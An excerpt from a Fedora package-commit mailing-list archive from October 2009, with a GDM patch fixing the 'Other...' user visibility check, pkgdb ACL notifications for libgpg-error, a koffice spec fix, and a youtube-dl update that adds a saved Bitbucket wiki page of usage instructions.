Date: Fri, 9 Oct 2009 11:26:06 -0400
Subject: [PATCH] Fix Other... user visibility check

Before we'd only add the Other item if the number of users
was 1, when we should have been adding it if the number of
users is greater than or equal to 1.  This is because in some
cases more than one item can get added to the user list before
the visibility function is run.
---
 gui/simple-greeter/gdm-user-chooser-widget.c |   18 ++++++++++--------
 1 files changed, 10 insertions(+), 8 deletions(-)

diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
index 4410a02..167e324 100644
--- a/gui/simple-greeter/gdm-user-chooser-widget.c
+++ b/gui/simple-greeter/gdm-user-chooser-widget.c
@@ -130,6 +130,8 @@ get_icon_height_for_widget (GtkWidget *widget)
 static void
 update_other_user_visibility (GdmUserChooserWidget *widget)
 {
+        int number_of_users;
+
         if (!widget->priv->show_user_other) {
                 if (widget->priv->has_user_other) {
                         remove_user_other (widget);
@@ -138,14 +140,14 @@ update_other_user_visibility (GdmUserChooserWidget *widget)
                 return;
         }
 
-        if (gdm_chooser_widget_get_number_of_items (GDM_CHOOSER_WIDGET (widget)) == 1) {
-                /* we hide the Other user if it's the last one, and we show it
-                 * if there's another user */
-                if (widget->priv->has_user_other) {
-                        remove_user_other (widget);
-                } else {
-                        add_user_other (widget);
-                }
+        number_of_users = gdm_chooser_widget_get_number_of_items (GDM_CHOOSER_WIDGET (widget));
+
+        /* we hide the Other user if it's the last one, and we show it
+         * if there's another user */
+        if (number_of_users == 1 && widget->priv->has_user_other) {
+                remove_user_other (widget);
+        } if (number_of_users >= 1 && !widget->priv->has_user_other) {
+                add_user_other (widget);
         }
 }
 
-- 
1.6.5.rc2



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.494
retrieving revision 1.495
diff -u -p -r1.494 -r1.495
--- gdm.spec	9 Oct 2009 13:45:39 -0000	1.494
+++ gdm.spec	9 Oct 2009 16:05:26 -0000	1.495
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.0
-Release: 8%{?dist}
+Release: 9%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -108,6 +108,7 @@ Patch13: gdm-system-keyboard.patch
 
 Patch19: gdm-multistack.patch
 Patch20: 0001-Fix-gdm_slave_get_timed_login_details.patch
+Patch21: fix-other-user.patch
 
 # Fedora-specific
 Patch98: gdm-bubble-location.patch
@@ -156,6 +157,7 @@ The GDM fingerprint plugin provides func
 
 %patch19 -p1 -b .multistack
 %patch20 -p1 -b .autologin
+%patch21 -p1 -b .fix-other-user
 
 %patch98 -p1 -b .bubble-location
 %patch99 -p1 -b .fedora-logo
@@ -407,6 +409,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct 09 2009 Ray Strode <rstrode at redhat.com> 2.28.0-9
+- Fix Other... user.
+
 * Fri Oct  9 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.0-8
 - Move bubbles to the lower right on the login screen
 



From pkgdb at fedoraproject.org  Fri Oct  9 16:08:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:08:29 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160829.8097310F895@bastion2.fedora.phx.redhat.com>

nalin has set the watchcommits acl on libgpg-error (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:08:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:08:27 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160827.ED26F10F880@bastion2.fedora.phx.redhat.com>

nalin has set the watchbugzilla acl on libgpg-error (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:08:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:08:30 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160830.DC94310F8A4@bastion2.fedora.phx.redhat.com>

nalin has set the commit acl on libgpg-error (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:08:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:08:33 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160833.80EDC10F8A9@bastion2.fedora.phx.redhat.com>

nalin has set the approveacls acl on libgpg-error (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:08:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:08:52 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160852.2A2AA10F880@bastion2.fedora.phx.redhat.com>

nalin has set the watchbugzilla acl on libgpg-error (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:08:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:08:52 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160852.83AA110F895@bastion2.fedora.phx.redhat.com>

nalin has set the watchcommits acl on libgpg-error (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:08:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:08:58 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160858.6E1C310F880@bastion2.fedora.phx.redhat.com>

nalin has set the commit acl on libgpg-error (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:08:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:08:59 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160859.3F37A10F895@bastion2.fedora.phx.redhat.com>

nalin has set the approveacls acl on libgpg-error (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:01 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160901.4EF0210F8A8@bastion2.fedora.phx.redhat.com>

nalin has set the watchbugzilla acl on libgpg-error (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:03 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160903.34A5D10F8B1@bastion2.fedora.phx.redhat.com>

nalin has set the watchcommits acl on libgpg-error (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:03 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160903.90A3E10F8B5@bastion2.fedora.phx.redhat.com>

nalin has set the commit acl on libgpg-error (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:06 +0000
Subject: [pkgdb] libgpg-error had acl change status
Message-ID: <20091009160906.264E310F895@bastion2.fedora.phx.redhat.com>

nalin has set the approveacls acl on libgpg-error (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:17 +0000
Subject: [pkgdb] libgpg-error: nalin has requested watchbugzilla
Message-ID: <20091009160917.5723410F8A3@bastion2.fedora.phx.redhat.com>

nalin has requested the watchbugzilla acl on libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:22 +0000
Subject: [pkgdb] libgpg-error: nalin has requested watchcommits
Message-ID: <20091009160922.5A09C10F8AB@bastion2.fedora.phx.redhat.com>

nalin has requested the watchcommits acl on libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:27 +0000
Subject: [pkgdb] libgpg-error: nalin has requested watchbugzilla
Message-ID: <20091009160927.2C2A010F8B5@bastion2.fedora.phx.redhat.com>

nalin has requested the watchbugzilla acl on libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:27 +0000
Subject: [pkgdb] libgpg-error: nalin has requested watchcommits
Message-ID: <20091009160927.3CDFD10F8AD@bastion2.fedora.phx.redhat.com>

nalin has requested the watchcommits acl on libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:39 +0000
Subject: [pkgdb] libgpg-error: nalin has requested watchbugzilla
Message-ID: <20091009160939.B923810F892@bastion2.fedora.phx.redhat.com>

nalin has requested the watchbugzilla acl on libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 16:09:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 16:09:40 +0000
Subject: [pkgdb] libgpg-error: nalin has requested watchcommits
Message-ID: <20091009160940.98EEC10F8A3@bastion2.fedora.phx.redhat.com>

nalin has requested the watchcommits acl on libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From rdieter at fedoraproject.org  Fri Oct  9 16:17:28 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 16:17:28 +0000 (UTC)
Subject: rpms/koffice/devel koffice.spec,1.124,1.125
Message-ID: <20091009161728.2A66111C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17454

Modified Files:
	koffice.spec 
Log Message:
fix %%files



Index: koffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/koffice.spec,v
retrieving revision 1.124
retrieving revision 1.125
diff -u -p -r1.124 -r1.125
--- koffice.spec	9 Oct 2009 15:26:44 -0000	1.124
+++ koffice.spec	9 Oct 2009 16:17:27 -0000	1.125
@@ -757,7 +757,7 @@ update-desktop-database -q &> /dev/null 
 %{_kde4_libdir}/kde4/libwpgimport.*
 %{_kde4_libdir}/kde4/libwpimport.*
 #{_kde4_libdir}/kde4/libmswordimport.*
-#{_kde4_libdir}/kde4/libmswordodf_import.*
+%{_kde4_libdir}/kde4/libmswordodf_import.*
 %{_kde4_libdir}/kde4/libxsltimport.*
 %{_kde4_libdir}/kde4/libxsltexport.*
 %{_kde4_libdir}/kde4/libhancomwordimport.*



From rafalzaq at fedoraproject.org  Fri Oct  9 16:27:29 2009
From: rafalzaq at fedoraproject.org (=?utf-8?q?Rafa=C5=82_Psota?=)
Date: Fri,  9 Oct 2009 16:27:29 +0000 (UTC)
Subject: rpms/youtube-dl/F-10 Home, NONE, 1.1 youtube-dl, 1.1,
	1.2 youtube-dl.spec, 1.1, 1.2
Message-ID: <20091009162729.D9D8111C00C1@cvs1.fedora.phx.redhat.com>

Author: rafalzaq

Update of /cvs/pkgs/rpms/youtube-dl/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20051

Modified Files:
	youtube-dl youtube-dl.spec 
Added Files:
	Home 
Log Message:
update to 2009.09.13


--- NEW FILE Home ---
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
	<title>
	rg3 / youtube-dl / wiki / Home &mdash; bitbucket.org
</title>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="description" content="Mercurial hosting - we're here to serve." />
	<meta name="keywords" content="mercurial,hg,hosting,bitbucket,rg3,youtube-dl,is,a,small,command-line,program,for,downloading,videos,from,YouTube.com.,wiki" />
	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/layout.css?12985842" />
	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/print.css?12985842" media="print" />
	<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Bitbucket" />
	<link rel="icon" href="http://bitbucket.org/m/img/logo_new.png" type="image/png"/>
	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/bundle.180909Sep.js?2152820"></script>
	
	<script type="text/javascript">
		$(document).ready(function() {
			Dropdown.init();
			$(".tooltip").tipsy({gravity:'s'});
		});
	</script>
	<noscript>
		<style type="text/css">
			.dropdown-container-text .dropdown {
				position: static !important;
			}
		</style>
	</noscript>

	<!--[if lt IE 7]>
	<style type="text/css">
	body {
		behavior: url(http://bitbucket.org/m/css/csshover.htc);
	}
	
	#issues-issue pre {
		white-space: normal !important;
	}
	
	.changeset-description {
		white-space: normal !important;
	}
	</style>
	<script type="text/javascript"> 
		$(document).ready(function(){ 
			$('#header-wrapper').pngFix();
			$('#sourcelist').pngFix();
			$('.promo-signup-screenshot').pngFix();
		}); 
	</script>
	<![endif]-->
	
	<link rel="stylesheet" href="http://bitbucket.org/m/css/highlight/trac.css" type="text/css" />
	<script type="text/javascript">
		$(document).ready(function() {
			$('#wiki table:not(.highlighttable)').addClass('wikitable');
			$('#wiki table.wikitable tr:even').addClass('crow2');
		});
	</script>

	
	<link href="/rg3/youtube-dl/rss/" rel="alternate nofollow" type="application/rss+xml" title="RSS Feed for youtube-dl" />

</head>
<body class="">
	<div id="main-wrapper">
		<div id="header-wrapper">
			<div id="header">
				<a href="/"><img src="http://bitbucket.org/m/img/logo_myriad.png" alt="Bitbucket" id="header-wrapper-logo" /></a>
				
					<div id="header-nav">
						<div id="header-nav-login-forms">
							<form action="/account/signin/" method="post">
								<fieldset>
									<input id="id_username_header" type="text" class="required login" name="username" value="username" maxlength="30" onfocus="if(this.value=='username'){this.value='';}; $(this).addClass('normaltext');" /> <input id="id_password_header" type="password" class="required login" name="password" value="password" maxlength="128" onfocus="if(this.value=='password'){this.value='';}; $(this).addClass('normaltext');" /> <input type="submit" name="blogin" value="&raquo;" style="display:none;" />
									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home"/>
								</fieldset>
							</form>
							<form name="fopenid" action="/account/signin/" method="post">
								<fieldset>
									<input id="id_openid_url" type="text" class="required openid" name="openid_url" maxlength="255" value="your OpenID URL" onfocus="if(this.value=='your OpenID URL'){this.value='';}; $(this).addClass('normaltext');" /> <input name="bsignin" type="submit" value="&raquo;" style="display: none;" />
									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home" />
								</fieldset>
							</form>
						</div>
						
						<ul class="right">
							<li><a href="/">Home</a></li>
							<li><a href="/plans/"><b>Plans &amp; Signup</b></a></li>
							<li><a href="/repo/all/">Repositories</a></li>
							<li><a href="/news/">News</a></li>
							<li><a href="/help/">Help</a></li>
							<li><a href="/account/signin/">Login</a></li>
						</ul>
					</div>
				
			</div>
		</div>
		<div id="content-wrapper">
			
			
			

			
			
			
	
	





	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/jquery.cookie.js"></script> <!--REMOVE WHEN NEWER BUNDLE THAN 030309Mar -->
	<script type="text/javascript">
		var date = new Date();
		date.setTime(date.getTime() + (365 * 24 * 60 * 60 * 1000));
		var cookieoptions = { path: '/', expires: date };
		
		$(document).ready(function(){
			$('#toggle-repo-content').click(function(){
				$('#repo-desc-cloneinfo').toggle('fast');
				$('#repo-menu').toggle();
				$('#repo-menu-links-mini').toggle(100);
				$('.repo-desc-description').toggle('fast');
				var avatar_new_width = ($('.repo-avatar').width() == 35) ? 16 : 35;
				$('.repo-avatar').animate({ width: avatar_new_width }, 250);
				
				if ($.cookie('toggle_status') == 'hide') {
					$.cookie('toggle_status', 'show', cookieoptions);
					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
				} else {
					$.cookie('toggle_status', 'hide', cookieoptions);
					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
				}
			});
			
			if ($.cookie('toggle_status') == 'hide') {
				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
				$('#repo-desc-cloneinfo').hide();
				$('#repo-menu').hide();
				$('#repo-menu-links-mini').show();
				$('.repo-desc-description').hide();
				$('.repo-avatar').css({ width: '16px' });
			} else {
				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
				$('#repo-desc-cloneinfo').show();
				$('#repo-menu').show();
				$('#repo-menu-links-mini').hide();
				$('.repo-desc-description').show();
				$('.repo-avatar').css({ width: '35px' });
			}
		});
	</script>


<div id="tabs">
	<ul class="ui-tabs-nav">
		<li>
			<a href="/rg3/youtube-dl/overview/"><span>Overview</span></a>
		</li>

		<li>
			<a href="/rg3/youtube-dl/downloads/"><span>Downloads (0)</span></a>
		</li>
		
		

		<li>
			
				<a href="/rg3/youtube-dl/src/"><span>Source</span></a>			
			
		</li>
		
		<li>
			<a href="/rg3/youtube-dl/changesets/"><span>Changesets</span></a>
		</li>

		
			
				<li class="ui-tabs-nav-issues ui-tabs-selected">
					<a href="/rg3/youtube-dl/wiki/"><span>Wiki</span></a>
				</li>
			
		

		
			
				<li class="ui-tabs-nav-issues">
					<a href="/rg3/youtube-dl/issues/?status=new&amp;status=open"><span>Issues (4) &raquo;</span></a>
					<ul>
						<li><a href="/rg3/youtube-dl/issues/?status=new">New issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/?status=new&amp;status=open">Open issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/?status=resolved&amp;status=invalid&amp;status=duplicate">Closed issues</a></li>
					
						<li><a href="/rg3/youtube-dl/issues/">All issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/query/">Advanced query</a></li>
						<li><a href="/rg3/youtube-dl/issues/new/">Create new issue</a></li>
					</ul>
				</li>
			
		
				
		
			
		
		
		<li class="tabs-right tabs-far-right">
			<a href="/rg3/youtube-dl/descendants/"><span>Forks/Queues (3)</span></a>
		</li>
		
		<li class="tabs-right">
			<a href="/rg3/youtube-dl/zealots/"><span>Followers (21)</span></a>
		</li>
	</ul>
</div>

<div id="repo-menu">
		<div id="repo-menu-links">
			<ul>
				<li>
					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl">RSS</a>
				</li>
				<li>
					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl">Atom</a>
				</li>
				
				<li>
					<a href="/rg3/youtube-dl/pull/" class="link-request-pull">
						pull request
					</a>
				</li>
				
				<li><a href="/rg3/youtube-dl/fork/" class="link-fork">fork</a></li>
				
					<li><a href="/rg3/youtube-dl/hack/" class="link-hack">patch queue</a></li>
				
				<li>
					
						<a rel="nofollow" href="/rg3/youtube-dl/follow/" class="link-follow">follow</a>
					
				</li>
				<li><a class="link-download">get source &raquo;</a>

					<ul>
						
						
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
						
						
					</ul>
				</li>
			</ul>
		</div>
		
		
		<div id="repo-menu-branches-tags">
 			<ul>
				<li class="icon-branches">
					branches &raquo;
					
					<ul>
					
						<li><a href="/rg3/youtube-dl/src/805624cfc278/">default</a></li>
					
					</ul>
					
				</li>
				<li class="icon-tags">
					tags &raquo;
					
					<ul>
					
						<li><a href="/rg3/youtube-dl/src/805624cfc278/">tip</a></li>
					
						<li><a href="/rg3/youtube-dl/src/6947c04fb1b4/">2009.09.13</a></li>
					
						<li><a href="/rg3/youtube-dl/src/4597eb63af5c/">2009.09.08</a></li>
					
						<li><a href="/rg3/youtube-dl/src/df8b882d8b39/">2009.08.08</a></li>
					
						<li><a href="/rg3/youtube-dl/src/2793d3270ff9/">2009.06.29</a></li>
					
						<li><a href="/rg3/youtube-dl/src/cfc3202eb7b6/">2009.05.30</a></li>
					
						<li><a href="/rg3/youtube-dl/src/4bc5ac772e8a/">2009.05.25</a></li>
					
						<li><a href="/rg3/youtube-dl/src/3f498fb56291/">2009.05.23</a></li>
					
						<li><a href="/rg3/youtube-dl/src/31198e942e00/">2009.05.13</a></li>
					
						<li><a href="/rg3/youtube-dl/src/95b216d50f8a/">2009.05.11</a></li>
					
						<li><a href="/rg3/youtube-dl/src/c42582904adf/">2009.04.25</a></li>
					
						<li><a href="/rg3/youtube-dl/src/468b207ea6ee/">2009.04.06</a></li>
					
						<li><a href="/rg3/youtube-dl/src/1dd3c78e417e/">2009.03.28</a></li>
					
						<li><a href="/rg3/youtube-dl/src/8dc1b312077f/">2009.03.03</a></li>
					
						<li><a href="/rg3/youtube-dl/src/ef03a5f5f333/">2009.02.07</a></li>
					
						<li><a href="/rg3/youtube-dl/src/ee7b97092712/">2009.01.31</a></li>
					
						<li><a href="/rg3/youtube-dl/src/c72929f1680d/">2008.11.01</a></li>
					
						<li><a href="/rg3/youtube-dl/src/846c13fabe78/">2008.10.16</a></li>
					
						<li><a href="/rg3/youtube-dl/src/9636c1843c6f/">2008.09.20</a></li>
					
						<li><a href="/rg3/youtube-dl/src/385afd90ca13/">2008.08.09</a></li>
					
						<li><a href="/rg3/youtube-dl/src/afa03d33275e/">2008.07.22</a></li>
					
					</ul>
				</li>
			</ul>
		</div>
		
		
		<div class="cb"></div>
	</div>
	<div id="repo-desc" class="layout-box">
		
		
		<div id="repo-menu-links-mini" class="right">
			<ul>
				<li>
					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl"></a>
				</li>
				<li>
					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl"></a>
				</li>
				
				<li>
					<a href="/rg3/youtube-dl/pull/" class="tooltip noborder link-request-pull" title="Pull request"></a>
				</li>
				
				<li><a href="/rg3/youtube-dl/fork/" class="tooltip noborder link-fork" title="Fork"></a></li>
				
					<li><a href="/rg3/youtube-dl/hack/" class="tooltip noborder link-hack" title="Patch queue"></a></li>
				
				<li><a class="tooltip noborder link-download" title="Get source"></a>

					<ul>
						
						
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
						
						
					</ul>
				</li>
			</ul>
		</div>
		
		<h3>
			<a href="/rg3/">rg3</a> / 
			<a href="/rg3/youtube-dl/wiki/Home">youtube-dl</a>
			 <span>(<a href="http://bitbucket.org/rg3/youtube-dl/wiki/">http://bitbucket.org/rg3/youtube-dl/wiki/</a>)</span>
			
		</h3>
		
		
		
		
		
		<p class="repo-desc-description">youtube-dl is a small command-line program for downloading videos from <a href="http://YouTube.com" rel="nofollow">YouTube.com</a>.</p>
		
		<div id="repo-desc-cloneinfo">Clone this repository (size: 199.5 KB): <a href="http://bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-ssh').hide();$('#clone-url-https').toggle();return(false);"><small>HTTPS</small></a> / <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-https').hide();$('#clone-url-ssh').toggle();return(false);"><small>SSH</small></a><br/>
		<pre id="clone-url-https">$ hg clone <a href="http://bitbucket.org/rg3/youtube-dl/">http://bitbucket.org/rg3/youtube-dl/</a></pre>
		
		<pre id="clone-url-ssh" style="display:none;">$ hg clone <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/">ssh://hg at bitbucket.org/rg3/youtube-dl/</a></pre></div>
		
		<div class="cb"></div>
		<a href="#" id="toggle-repo-content"></a>
	</div>


			
			

	

<div class="global-divider-header issues-nav">	
	<div id="wiki-nav-links">
		<span class="right">
			<nobr>
				<small>hg clone http://bitbucket.org/rg3/youtube-dl/wiki/</small>
			</nobr>
		</span>
		
		
		<b><a href="/rg3/youtube-dl/wiki/Home" class="wiki-icon-home">Home</a></b>
		
		<a href="/rg3/youtube-dl/wiki/history/Home" class="wiki-icon-history">History</a>
		<a href="http://www.wikicreole.org/wiki/Creole1.0" class="wiki-icon-markup">Wiki Markup</a>
	</div>
	<div class="cb"></div>
</div>

	

	<div id="wiki">
		<p>?</p>
<h1 id="youtube-dl-download-videos-from-youtubecom">youtube-dl: Download videos from YouTube.com</h1>
<p>(and more...)</p>
<h2 id="what-is-it">What is it?</h2>
<p><em>youtube-dl</em> is a small command-line program to download videos from YouTube.com. It requires the <a href="http://www.python.org/">Python interpreter</a>, version 2.x (x being at least 4), and it's not platform specific. It should work in your Unix box, in Windows or in Mac OS X. The latest version is <strong>2009.09.13</strong>. It's released to the public domain, which means you can modify it, redistribute it or use it however you like.</p>
<p>I'll try to keep it updated if YouTube.com changes the way you access their videos. After all, it's a simple and short program. However, I can't guarantee anything. If you detect it stops working, check for new versions and/or inform me about the problem, indicating the program version you are using. If the program stops working and I can't solve the problem but you have a solution, I'd like to know it. If that happens and you feel you can maintain the program yourself, tell me. My contact information is at <a href="http://rg03.wordpress.com/contact-me/">rg03.wordpress.com</a>.</p>
<p>Thanks for all the feedback received so far. I'm glad people find my program useful.</p>
<h2 id="usage-instructions">Usage instructions</h2>
<p>In Windows, once you have installed the Python interpreter, save the program with the <em>.py</em> extension and put it somewhere in the PATH. Try to follow the <a href="/rg3/youtube-dl/wiki/youtube-dl_under_Windows_XP">guide to install youtube-dl under Windows XP</a>.</p>
<p>In Unix, download it, give it execution permission and copy it to one of the PATH directories (typically, <em>/usr/local/bin</em>).</p>
<p>After that, you should be able to call it from the command line as <em>youtube-dl</em> or <em>youtube-dl.py</em>. I will use <em>youtube-dl</em> in the following examples. Usage instructions are easy. Use <em>youtube-dl</em> followed by a video URL or identifier. Example: <em>youtube-dl "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. The video will be saved to the file <em>foobar.flv</em> in that example. As YouTube.com videos are in Flash Video format, their extension should be <em>flv</em>. In Linux and other unices, video players using a recent version of <em>ffmpeg</em> can play them. That includes MPlayer, VLC, etc. Those two work under Windows and other platforms, but you could also get a specific FLV player of your taste.</p>
<p>If you try to run the program and you receive an error message containing the keyword <em>SyntaxError</em> near the end, it means your Python interpreter is too old.</p>
<h2 id="more-usage-tips">More usage tips</h2>
<ul><li>You can change the file name of the video using the -o option, like in <em>youtube-dl -o vid.flv "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. Read the Output template section for more details on this.
</li><li>Some videos require an account to be downloaded, mostly because they're flagged as mature content. You can pass the program a username and password for a YouTube.com account with the -u and -p options, like <em>youtube-dl -u myusername -p mypassword "<code>http://www.youtube.com/watch?v=foobar</code>"</em>.
</li><li>The account data can also be read from the user .netrc file by indicating the -n or --netrc option. The machine name is youtube in that case.
</li><li>The simulate mode (activated with -s or --simulate) can be used to just get the real video URL and use it with a download manager if you prefer that option.
</li><li>The quiet mode (activated with -q or --quiet) can be used to supress all output messages. This allows, in systems featuring <em>/dev/stdout</em> and other similar special files, outputting the video data to standard output in order to pipe it to another program without interferences.
</li><li>The program can be told to simply print the final video URL to standard output using the -g or --get-url option.
</li><li>In a similar line, the -e or --get-title option tells the program to print the video title.
</li><li>The default filename is video_id.flv. But you can also use the video title in the filename with the -t or --title option, or preserve the literal title in the filename with the -l or --literal option.
</li><li>You can make the program append <em>&amp;fmt=something</em> to the URL by using the -f or --format option. This makes it possible to download high quality versions of the videos when available.
</li><li>The -b or --best-quality option can be used to download the highest available quality version of any given video.
</li><li>The -m or --mobile-version option is an alias for -f 17.
</li><li>The -d or --high-def option is an alias for -f 22.
</li><li>Normally, the program will stop on the first error, but you can tell it to attempt to download every video with the -i or --ignore-errors option.
</li><li>The -a or --batch-file option lets you specify a file to read URLs from. The file must contain one URL per line.
</li><li>The program can be told not to overwrite existing files using the -w or --no-overwrites option.
</li><li>It can be told to attempt to continue interrupted downloads with the -c or --continue option.
